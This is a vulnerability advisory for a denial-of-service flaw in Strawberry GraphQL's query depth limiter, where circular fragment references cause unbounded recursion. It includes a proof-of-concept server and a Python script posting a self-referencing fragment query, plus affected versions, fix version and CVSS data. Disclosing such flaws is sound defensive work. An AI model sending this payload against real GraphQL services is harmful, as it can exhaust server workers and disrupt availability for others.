Strawberry GraphQL has a Circular Fragment Reference DOS
Summary
The QueryDepthLimiter extension is vulnerable to an Application-level DOS due to a lack of cycle detection in fragment spreads. When a query contains circular fragment references the determine_depth function enters an infinite recursion, leading to a RecursionError and crashing the validation process.
Details
The determine_depth function in query_depth_limiter.py recursively resolves FragmentSpreadNode without maintaining a set of visited fragments. By submitting a query with circular fragment references (e.g., Fragment A $\rightarrow$ Fragment B $\rightarrow$ Fragment A), the validator enters an infinite recursion.
PoC
server code
import strawberry
from fastapi import FastAPI
from strawberry.fastapi import GraphQLRouter
from strawberry.extensions import QueryDepthLimiter
@strawberry.type
class User:
name: str = "GONA"
@strawberry.type
class Query:
@strawberry.field
def user(self) -> User:
return User()
# Enable depth limiting
schema = strawberry.Schema(
query=Query,
extensions=[QueryDepthLimiter(max_depth=10)]
)
app = FastAPI()
app.include_router(GraphQLRouter(schema), prefix="/graphql")
exploit
import httpx
# Circular reference: A -> B -> A -> B ...
payload = {
"query": """
fragment A on User {
...B
}
fragment B on User {
...A
}
query Crash {
user {
...A
}
}
"""
}
try:
response = httpx.post("http://127.0.0.1:8000/graphql", json=payload)
print(response.json())
except Exception as e:
print(f"Server crashed or timed out: {e}")
Impact
Since the validation happens before execution, an attacker can cheaply trigger this recursion error to exhaust server CPU cycles and thread/worker pools
Affected software
Click a technology to see all vulnerabilities affecting it.
| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| Python (PyPI) | strawberry-graphql | >= 0.71.0, < 0.315.7 | 0.315.7 |
References
- CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L- Weakness (CWE)
CWE-400, CWE-674- Platform
- Python (PyPI)
- Package
strawberry-graphql- Disclosed
- 04.06.2026
- Updated
- 11.10.2026 14:17
Sources and licenses
OSV / GitHub Advisory Database - PYSEC-2026-2283 - PyPA Advisory Database; CC BY 4.0
OSV / GitHub Advisory Database - GHSA-qfwv-87qj-98xq - CC BY 4.0
Vulnerability history: strawberry-graphql
All published vulnerabilities of this package (Python (PyPI)), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 9
- First → latest
- 09.2024 10.2026
- Without a fix
- 0
- Exploited in attacks
- 0
Severity breakdown
- High 3
- Medium 3
- Low 3
Disclosures per year
- 2024: 1
- 2025: 1
- 2026: 7
-
Strawberry GraphQL has a Circular Fragment Reference DOS this entry
Know which vulnerabilities affect your application
With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.